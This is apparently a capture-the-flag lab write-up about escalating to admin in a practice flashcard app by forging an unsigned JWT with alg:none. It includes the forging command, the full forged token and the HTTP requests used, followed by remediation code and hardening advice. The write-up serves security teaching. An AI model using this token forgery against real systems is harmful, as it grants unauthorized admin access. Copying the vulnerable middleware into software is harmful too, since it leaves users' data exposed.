BugForge — 2026.04.07

Tanuki: JWT None-Algorithm Bypass

BugForge Authentication Bypass easy

Overview

  • Platform: BugForge
  • Vulnerability: JWT None-Algorithm Bypass leading to admin privilege escalation
  • Key Technique: Forging an unsigned JWT with alg:"none" and type:"admin" to bypass server-side admin middleware
  • Result: Full admin access to all CRUD endpoints; flag captured from admin user’s full_name field

Objective

Find and exploit vulnerabilities in the Tanuki flashcard application to capture the flag.

Initial Access

# Target Application
URL: https://lab-1775603012933-dt1i22.labs-app.bugforge.io

# Auth details
Registered user: haxor (ID 4, type: user)
Auth mechanism: JWT HS256 (payload: {id, username, type, iat})

Key Findings

  1. JWT None-Algorithm Bypass to Admin Access (CWE-345: Insufficient Verification of Data Authenticity) — The server accepts JWTs with alg:"none" (no signature verification). An attacker can forge a token with an arbitrary type claim (e.g., "admin") and the server’s admin middleware trusts the unverified payload. This grants full access to all admin CRUD endpoints: user management, deck management, and card management.

Attack Chain Visualization

┌──────────────────┐     ┌─────────────────────┐     ┌──────────────────────┐
│  Register user   │     │ Map API surface     │     │  Test admin          │
│  (haxor, ID 4)   │────>│ via traffic capture │────>│  endpoints → 403     │
└──────────────────┘     └─────────────────────┘     └──────────┬───────────┘
                                                                │
                         ┌──────────────────────┐               │
                         │ Mass assignment on   │<──────────────┘
                         │ register (role/type) │
                         │ → both ignored       │
                         └──────────┬───────────┘
                                    │
                                    v
                         ┌──────────────────────┐
                         │ IDOR on /api/stats   │
                         │ (path + query param) │
                         │ → user from JWT only │
                         └──────────┬───────────┘
                                    │
                                    v
                         ┌──────────────────────┐     ┌──────────────────────┐
                         │ Forge JWT with       │     │ GET /api/admin/users │
                         │ alg:none + type:admin│────>│ → 200 OK, full user  │
                         │ using jwtforge       │     │ list + flag in admin │
                         └──────────────────────┘     │ full_name field      │
                                                      └──────────────────────┘

Application Architecture

Component Detail Description
Frontend React SPA (Material UI) Japanese-themed flashcard/SRS study interface
Backend Express/Node.js REST API with JWT authentication
Auth JWT HS256 Token payload: {id, username, type, iat}
Admin check Middleware Reads type field from JWT payload, requires "admin"
Naming quirk Dual field names JWT uses type, database uses role — same concept, different names

Exploitation Path

Step 1: Reconnaissance — Map the API Surface

Registered an account (haxor, assigned ID 4) and captured traffic to enumerate all API endpoints. The application is a spaced-repetition flashcard study tool with deck management, study sessions, and progress tracking.

Key endpoints discovered:

  • POST /api/register — Returns JWT + user object
  • POST /api/login — Returns JWT + user object
  • GET /api/verify-token — Validates JWT, returns {id, username, email, full_name, role}
  • GET /api/decks, GET /api/study/:deckId/cards, GET /api/stats — User-facing study endpoints
  • GET/POST/PUT/DELETE /api/admin/users — Admin user CRUD
  • GET/POST/PUT/DELETE /api/admin/decks — Admin deck CRUD
  • GET/POST/PUT/DELETE /api/admin/cards — Admin card CRUD

Key observations:

  • JWT payload uses type (not role) — but verify-token response returns role from the database
  • Admin middleware checks the JWT type field for "admin"
  • Sequential user IDs — seed users at IDs 1-3 (admin, learner, student), our registration got ID 4

Step 2: Test Admin Access (Dead End)

Attempted direct access to admin endpoints with our regular user JWT:

GET /api/admin/users HTTP/1.1
Host: lab-1775603012933-dt1i22.labs-app.bugforge.io
Authorization: Bearer <jwt-for-user-4>

Response: 403 Forbidden{"error":"Admin access required"}

Server-side admin middleware is enforced. The admin check reads the type field from the JWT and rejects anything other than "admin".

Step 3: Mass Assignment Attempts (Dead End)

Tried injecting both role and type fields during registration to escalate privileges at account creation:

POST /api/register HTTP/1.1
Content-Type: application/json

{"username":"haxor2","email":"h2@test.com","password":"pass","full_name":"","role":"admin"}

Result: 200 OK, but JWT still has type:"user" — the role field was ignored.

POST /api/register HTTP/1.1
Content-Type: application/json

{"username":"haxor3","email":"h3@test.com","password":"pass","full_name":"","type":"admin"}

Result: 200 OK, JWT still has type:"user" — the type field was also ignored. Server explicitly sets type:"user" during registration regardless of input. Mass assignment path closed.

Step 4: IDOR on Stats Endpoint (Dead End)

Tested whether the stats endpoint would accept other users’ IDs:

GET /api/stats/1 HTTP/1.1
Authorization: Bearer <jwt-for-user-4>

Result: 200 but returned the SPA HTML (catch-all route) — no /api/stats/:id route exists on this version of the app. The stats endpoint identifies users exclusively from the JWT.

Also tried query parameter injection:

GET /api/stats?user_id=1 HTTP/1.1
Authorization: Bearer <jwt-for-user-4>

Result: 200 OK — returned our own stats. Query parameter ignored.

Note: This is a different version of the Tanuki app than the one with the IDOR vulnerability (see the 2026-03-31 writeup). The stats endpoint was redesigned to derive the user from the JWT only.

Step 5: JWT None-Algorithm Bypass (Flag Captured)

With mass assignment and IDOR ruled out, the remaining attack surface was the JWT itself. The none algorithm attack targets servers that fail to reject unsigned tokens.

Forged a JWT with alg:"none" and type:"admin" using jwtforge:

jwtforge -p '{"id":4,"username":"haxor","type":"admin","iat":1775603032}' -a none

This produces a token with structure:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6NCwidXNlcm5hbWUiOiJoYXhvciIsInR5cGUiOiJhZG1pbiIsImlhdCI6MTc3NTYwMzAzMn0.

Note the trailing dot — the signature section is empty because no signing occurs.

Sent the forged token to the admin users endpoint:

GET /api/admin/users HTTP/1.1
Host: lab-1775603012933-dt1i22.labs-app.bugforge.io
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6NCwidXNlcm5hbWUiOiJoYXhvciIsInR5cGUiOiJhZG1pbiIsImlhdCI6MTc3NTYwMzAzMn0.

Response: 200 OK — full user list returned:

[
  {"id":1,"username":"admin","email":"admin@tanuki.local","full_name":"bug{43IHebiCYIXCEyIWXQ7XE22LXa4QLdtZ}","role":"admin"},
  {"id":2,"username":"learner","email":"learner@tanuki.local","full_name":"Eager Learner","role":"user"},
  {"id":3,"username":"student","email":"student@tanuki.local","full_name":"Study Student","role":"user"},
  {"id":4,"username":"haxor","email":"test@test.com","full_name":"","role":"user"}
]

The server accepted the unsigned JWT, read type:"admin" from the unverified payload, and granted full admin access. The flag was in the admin user’s full_name field.


Flag / Objective Achieved

bug{43IHebiCYIXCEyIWXQ7XE22LXa4QLdtZ}

Obtained from the admin user’s full_name field via GET /api/admin/users after forging an unsigned JWT with admin privileges.


Key Learnings

  • The none algorithm is JWT’s original sin — The JWT specification includes alg:"none" as a valid algorithm, meaning “no digital signature or MAC”. Libraries that don’t explicitly reject it will happily decode the payload without any verification. The server trusted the claims in the JWT body despite having zero cryptographic proof of their integrity.
  • Dual naming between JWT claims and database columns is a code smell — The JWT used type while the database stored role. This kind of inconsistency suggests the JWT handling and user model were developed separately, which increases the risk of validation gaps. The admin middleware checked JWT type but never cross-referenced the database role.
  • Always test JWT algorithm manipulation early — When mass assignment and IDOR failed, the JWT itself became the target. Algorithm confusion attacks (none, RS256-to-HS256, etc.) should be part of the standard testing checklist whenever JWT auth is in play.
  • Custom tools accelerate testingjwtforge made the none-algorithm attack a one-liner. Having purpose-built tooling for common attack patterns reduces friction and keeps focus on the vulnerability logic rather than token encoding mechanics.

Failed Approaches

Approach Result Why It Failed
Direct admin endpoint access 403 “Admin access required” Server-side middleware enforces type:"admin" check on JWT
Mass assignment on register (role:"admin") 200, JWT still type:"user" Server ignores role field on registration input
Mass assignment on register (type:"admin") 200, JWT still type:"user" Server explicitly sets type:"user" regardless of input
IDOR on /api/stats/:id (path param) 200 HTML (SPA catch-all) No path-based stats route exists in this app version
IDOR on /api/stats?user_id=1 (query param) 200, own stats returned Stats endpoint derives user exclusively from JWT

Tools Used

Tool Purpose
Caido HTTP interception, request replay, endpoint enumeration
jwtforge Forging unsigned JWT with alg:"none" and type:"admin"
Browser DevTools Traffic capture and response inspection

Remediation

1. JWT None-Algorithm Bypass (CVSS: 9.8 - Critical)

Issue: The server’s JWT verification accepts tokens with alg:"none", allowing attackers to forge arbitrary claims without any cryptographic signature. Combined with the admin middleware trusting the JWT type claim, this grants unauthenticated admin access to all protected endpoints.

CWE Reference: CWE-345 - Insufficient Verification of Data Authenticity

CVSS v3.1 Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — Network-accessible, no special conditions, no privileges required (just register an account), complete compromise of confidentiality and integrity through full admin access.

// BEFORE (Vulnerable) — accepts any algorithm including "none"
const jwt = require('jsonwebtoken');

app.use('/api/admin', (req, res, next) => {
  const token = req.headers.authorization?.split(' ')[1];
  const decoded = jwt.verify(token, SECRET_KEY);  // "none" bypasses verification
  if (decoded.type !== 'admin') {
    return res.status(403).json({ error: 'Admin access required' });
  }
  req.user = decoded;
  next();
});

// AFTER (Secure) — explicit algorithm allowlist
const jwt = require('jsonwebtoken');

app.use('/api/admin', (req, res, next) => {
  const token = req.headers.authorization?.split(' ')[1];
  try {
    const decoded = jwt.verify(token, SECRET_KEY, {
      algorithms: ['HS256']  // Only accept HS256 — rejects "none" and all others
    });
    if (decoded.type !== 'admin') {
      return res.status(403).json({ error: 'Admin access required' });
    }
    req.user = decoded;
    next();
  } catch (err) {
    return res.status(401).json({ error: 'Invalid token' });
  }
});

Additional hardening:

  • Use the algorithms option on every jwt.verify() call, not just admin middleware
  • Consider checking the database role in addition to the JWT type claim for defense in depth
  • Align the naming: use a single field name (role) in both the JWT and database to reduce confusion
  • Upgrade to a JWT library version that rejects alg:"none" by default (most modern versions do)

OWASP Top 10 Coverage

  • A02:2021 - Cryptographic Failures — The server accepts unsigned JWTs (alg:"none"), completely bypassing the cryptographic integrity check that JWT signatures are designed to provide
  • A07:2021 - Identification and Authentication Failures — The admin privilege check trusts an unverified JWT claim, allowing authentication/authorization bypass through token forgery

References

#JWT #none-algorithm #authentication-bypass #privilege-escalation